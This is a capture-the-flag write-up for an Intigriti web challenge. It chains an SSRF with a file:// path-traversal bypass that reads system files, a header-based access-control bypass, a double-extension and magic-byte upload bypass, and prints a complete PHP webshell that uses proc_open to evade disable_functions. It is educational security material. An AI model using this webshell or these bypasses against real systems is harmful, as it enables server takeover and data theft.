# Intigriti's October challenge by [chux](https://x.com/chux13786509) - URL https://challenge-1025.intigriti.io/ - Goal: get flag and RCE ## TL;DR - Found SSRF in image fetcher → abused `file://` + path traversal to read flag. - Found unrestricted upload endpoint → bypassed filename + MIME checks (double extension + magic bytes) and Apache header restriction to upload a PHP webshell. - Used `proc_open()` to get remote command execution. ## SSRF lead to Arbitrary File Read This is the [challenge](https://challenge-1025.intigriti.io/challenge.php): ![image](https://hackmd.io/_uploads/BJG_agHTlx.png) The challenge has an image fetcher where you supply a URL and the server fetches the resource. I first served a simple HTTP response from my server to confirm behavior: ![image](https://hackmd.io/_uploads/S1O10gSplg.png) ![image](https://hackmd.io/_uploads/ByaEAerTel.png) When I submitted a URL, the app returned the HTTP response body HTML-entity-encoded (good XSS mitigation) ![image](https://hackmd.io/_uploads/HyZ8RxHpex.png) Because the server fetches arbitrary URLs, this looked like an SSRF opportunity. Requests to localhost/127.0.0.1 were blocked with: `Invalid URL: access to localhost is not allowed` ![image](https://hackmd.io/_uploads/HJlj1bS6gl.png) I tried various host encodings (http:/0, http://127.1, etc.): ![image](https://hackmd.io/_uploads/HJCflWBpge.png) But this doesn't make sense since it returns a front-end response, so what useful thing can it do? For example, scan ports, call other internal services. I tried calling port `3306`: ![image](https://hackmd.io/_uploads/BySSZ-S6eg.png) But what I noticed was the error returning `cURL Error ...`, I searched and associated it with the server using [cURL](https://www.php.net/manual/en/book.curl.php), here I also skipped thinking about fuzzing other vulnerabilities like Command Injection or many other types of Injection vulnerabilities, instead I focused on the **protocol**. Besides `http`, `file://` is also used a lot in SSRF exploits. I tried with `file:///` and it returned with `Invalid URL: must include 'http'` ![image](https://hackmd.io/_uploads/SyZHQWSaxe.png) It seemed like it was blocking the protocol but if I looked at the `include` error message, I could easily see that it was just checking if `http` was included in `url` instead of because it is the protocol (which appears first). And as I thought, I bypassed this and with paylaod `file:///http`, it said I couldn't read the `/http` file because it simply didn't exist. ![image](https://hackmd.io/_uploads/HyEAmWSTgl.png) I use path traversal to read the `/etc/passwd` file by telling the server to treat `http` as a directory and use `..` to go outside: ![image](https://hackmd.io/_uploads/rk_PNZrplg.png) In addition to reading files, `file://` also allows listing files in a directory. I list files at root `/` to read the flag: ![image](https://hackmd.io/_uploads/HyQ-LbB6lx.png) ![image](https://hackmd.io/_uploads/SJ9fUWBpgx.png) Flag: `INTIGRITI{ngks896sdjvsjnv6383utbgn}` ## Remote Code Execution (RCE) However, the second challenge target of the article is **RCE**. So from reading any file I think of getting the source code to analyze and find other vulnerabilities, if this method does not exploit anything, I will research and try to exploit through some other protocols. ### Unrestricted File Upload I found the src code at `/var/www/html` ![image](https://hackmd.io/_uploads/HyntPbHage.png) And there is a suspicious file called `upload_shoppix_images.php`, the content is as follows: ```php <!DOCTYPE html> <html lang="en"> <head> ... </head> <body> <?php include "partials/header.php"; ?> <div class="card"> <h1>Upload Your Design</h1> <form method="post" enctype="multipart/form-data"> <input type="file" name="image" /> <br> <button type="submit">Upload</button> </form> <?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $file = $_FILES['image']; $filename = $file['name']; $tmp = $file['tmp_name']; $mime = mime_content_type($tmp); if ( strpos($mime, "image/") === 0 && (stripos($filename, ".png") !== false || stripos($filename, ".jpg") !== false || stripos($filename, ".jpeg") !== false) ) { move_uploaded_file(from: $tmp, "uploads/" . basename(path: $filename)); echo "<p style='color:#00e676'> File uploaded successfully to /uploads/ directory!</p>"; } else { echo "<p style='color:#ff5252'> Invalid file format</p>"; } } ?> </div> <?php include "partials/footer.php"; ?> </body> </html> ``` It's easy to detect a file upload vulnerability that can perform RCE, and I have to bypass the file check: - First is the file name check, getting the file name from `$file['name']`, it is checked in the `if` condition: ```php stripos($filename, needle: ".png") !== false || stripos($filename, ".jpg") !== false || stripos($filename, ".jpeg") !== false ``` The [`stripos()`](https://www.php.net/manual/en/function.stripos.php) function is used to find the **first occurrence** of a substring in a parent string (string) — case-insensitive. => I can use a **double extension** like this: `filename.jpg.php`, because it only checks for existence instead of checking the extension last) - The second is `$mime = mime_content_type($tmp);` which is checked `strpos($mime, "image/") === 0` [mime_content_type](https://www.php.net/manual/en/function.mime-content-type.php) function is used to determine the MIME type of a file, instead of relying on the **extension**, this function analyzes the **file content** to guess the **data type**. So how does it work and determine? Specifically, PHP uses a **magic** database (often called a magic file or `magic.mime`) – containing byte patterns specific to each file format – to match and determine the MIME type. In other words, the function will read a part of the file data (typically the file header or magic bytes) and compare it with a predefined table to see what type the file is (e.g., starting with `\xFF\xD8\xFF` will identify it as `image/jpeg`). Reference: https://en.wikipedia.org/wiki/List_of_file_signatures However, without any additional measures, the application will still be bypassed by **MIME type spoofing**: A common way is to insert a few bytes of the valid file type at the beginning of the malicious file. A classic example: add the byte string `GIF89a` (the header of a GIF image) at the beginning of a PHP code, then the function `mime_content_type("filename")` returns `image/gif` => bypass this mechanism. => We can control the above 2 things easily in the request. I immediately accessed the target: ![image](https://hackmd.io/_uploads/rJNDvfH6eg.png) The result is 403, and the server is `Apache/2.4.65 (Debian) Server` - I searched and this is the latest version which means there should be no previous vulnerabilities to exploit. The server blocked this request, and I continued to look at the apache2 config: ![image](https://hackmd.io/_uploads/HJAbdfrael.png) The `/etc/apache2/apache2.conf` file is the global Apache configuration file, however I didn't see anything special and moved to another file: `/etc/apache2/sites-enabled/000-default.conf` - this is the default VirtualHost configuration that Apache follows to handle HTTP requests: ![image](https://hackmd.io/_uploads/r1F4OzBpxg.png) ``` <VirtualHost *:8080> DocumentRoot /var/www/html <Directory /var/www/html> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory> <Directory /var/www/html/uploads> Options -Indexes </Directory> <Directory /var/www/html/public> Options -Indexes </Directory> <Files "upload_shoppix_images.php"> <If "%{HTTP:is-shoppix-admin} != 'true'"> Require all denied </If> Require all granted </Files> </VirtualHost> ``` So accessing `upload_shoppix_images.php` is due to the configuration here, specifically: The tag `<Files "upload_shoppix_images.php">` specifies the file to apply the configuration to (here, the file `upload_shoppix_images.php`) `<If "%{HTTP:is-shoppix-admin} != 'true'">` This is a conditional expression that Apache evaluates every time there is a request. This means that Apache will read the value of the HTTP header named `is-shoppix-admin`. - If the value is different from `true`, it means: The client did not send this header, or the header has a different value. → Apache will completely block access to the `upload_shoppix_images.php` file by applying `Require all denied` (The returned status code is 403 as we have seen). - The last `Require all granted` line is placed outside the `<If>` block, so it only applies if the condition in `<If>` is not activated (the `is-shoppix-admin` header has the value `true`). → Then, Apache allows normal access. Therefore, just insert the above header to be able to access ``` Is-Shoppix-Admin: true ``` ![image](https://hackmd.io/_uploads/HJX15Gr6lx.png) Next I uploaded a simple `.php` shell file with the magic bytes at the beginning being `GIF89a`: ![image](https://hackmd.io/_uploads/SJ_TOFuage.png) And when I access the php file I just uploaded, I get an error message like this: ![image](https://hackmd.io/_uploads/r1GgKKOpgx.png) ### Bypass security config It says `system` funtion is not allowed to be called, usually for the following reasons: - The function is disabled in `php.ini`: `disable_functions` configuration contains `system` - The function is blocked by some security module - The PHP source code has been customized (rarely happens) ... Usually it's because of the first thing and I can read the `php.ini` file, write php code to get the `disable_functions` value and for easy viewing I use [`phpinfo()`](https://www.php.net/manual/en/function.phpinfo.php) to see the config in `php.ini` as an interface: ![image](https://hackmd.io/_uploads/S1HXtt_pxx.png) Access and view: ![image](https://hackmd.io/_uploads/ryLIYtOael.png) So the value `disable_functions` indicates that the following functions are blocked `system,passthru,shell_exec,popen,exec`. At this point I have 2 ways to do it: 1. Find another function that can execute the same system command 2. Use some methods to bypass `disable_functions` that have been exploited a lot on the internet However, because the PHP version is quite new `8.1.33`, I will usually limit myself to the 2nd way, instead I will start from the 1st way. A pretty useful gist that I found: https://gist.github.com/mccabe615/b0907514d34b2de088c4996933ea1720 I went into the local test with the `proc_open()` function along with the [PHP documentation](ttps://www.php.net/manual/en/function.proc-open.php). Finally I have refined the shell: ```php <?php $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $cmd = $_GET[1]; $proc = proc_open($cmd, $descriptorspec, $pipes); if (is_resource($proc)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($proc); echo nl2br(htmlspecialchars($output)); }?> ``` Upload: ![image](https://hackmd.io/_uploads/HJNu5FOagx.png) Successful RCE: ![image](https://hackmd.io/_uploads/Syp_ctd6xg.png) ------------------ Thanks for reading — if you have any questions or errors in the article, you can contact me via discord @caodchuong312